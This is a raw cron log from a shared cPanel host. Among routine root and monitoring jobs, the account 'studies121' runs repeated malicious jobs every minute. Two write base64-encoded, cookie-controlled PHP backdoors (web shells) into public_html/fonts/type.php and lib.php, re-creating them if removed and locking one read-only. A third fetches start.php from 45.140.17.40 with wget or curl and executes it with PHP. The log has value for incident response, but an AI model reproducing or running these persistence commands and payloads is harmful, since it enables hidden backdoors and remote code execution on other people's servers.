Aug 30 11:05:02 ip-184-168-122-23 CROND[32204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:06:01 ip-184-168-122-23 CROND[32425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:06:02 ip-184-168-122-23 CROND[32427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:06:02 ip-184-168-122-23 CROND[32428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:06:02 ip-184-168-122-23 CROND[32431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:06:02 ip-184-168-122-23 CROND[32429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:07:01 ip-184-168-122-23 CROND[32633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:07:01 ip-184-168-122-23 CROND[32634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:07:01 ip-184-168-122-23 CROND[32636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:07:01 ip-184-168-122-23 CROND[32635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:08:01 ip-184-168-122-23 CROND[32735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:08:01 ip-184-168-122-23 CROND[32736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:08:01 ip-184-168-122-23 CROND[32740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:08:01 ip-184-168-122-23 CROND[32739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:08:01 ip-184-168-122-23 CROND[32742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:09:01 ip-184-168-122-23 CROND[368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:09:01 ip-184-168-122-23 CROND[371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:09:01 ip-184-168-122-23 CROND[370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:09:01 ip-184-168-122-23 CROND[372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:09:01 ip-184-168-122-23 CROND[373]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 11:10:01 ip-184-168-122-23 CROND[471]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:10:01 ip-184-168-122-23 CROND[474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:10:01 ip-184-168-122-23 CROND[475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:10:01 ip-184-168-122-23 CROND[477]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:10:01 ip-184-168-122-23 CROND[478]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:10:01 ip-184-168-122-23 CROND[476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:10:01 ip-184-168-122-23 CROND[483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:10:01 ip-184-168-122-23 CROND[484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:11:01 ip-184-168-122-23 CROND[573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:11:01 ip-184-168-122-23 CROND[576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:11:01 ip-184-168-122-23 CROND[577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:11:01 ip-184-168-122-23 CROND[575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:12:01 ip-184-168-122-23 CROND[664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:12:02 ip-184-168-122-23 CROND[665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:12:02 ip-184-168-122-23 CROND[669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:12:02 ip-184-168-122-23 CROND[670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:12:02 ip-184-168-122-23 CROND[674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:13:01 ip-184-168-122-23 CROND[1763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:13:01 ip-184-168-122-23 CROND[1764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:13:01 ip-184-168-122-23 CROND[1765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:13:01 ip-184-168-122-23 CROND[1767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:14:01 ip-184-168-122-23 CROND[1857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:14:01 ip-184-168-122-23 CROND[1858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:14:01 ip-184-168-122-23 CROND[1861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:14:01 ip-184-168-122-23 CROND[1860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:14:02 ip-184-168-122-23 CROND[1862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:15:01 ip-184-168-122-23 CROND[1956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:15:01 ip-184-168-122-23 CROND[1958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:15:01 ip-184-168-122-23 CROND[1959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:15:01 ip-184-168-122-23 CROND[1960]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:15:01 ip-184-168-122-23 CROND[1961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:15:01 ip-184-168-122-23 CROND[1962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:16:01 ip-184-168-122-23 CROND[2046]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 11:16:01 ip-184-168-122-23 CROND[2045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 11:16:01 ip-184-168-122-23 CROND[2049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:16:01 ip-184-168-122-23 CROND[2051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:16:01 ip-184-168-122-23 CROND[2050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:16:01 ip-184-168-122-23 CROND[2052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:17:01 ip-184-168-122-23 CROND[2143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:17:01 ip-184-168-122-23 CROND[2147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:17:01 ip-184-168-122-23 CROND[2146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 11:17:01 ip-184-168-122-23 CROND[2148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 11:18:01 ip-184-168-122-23 CROND[2317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
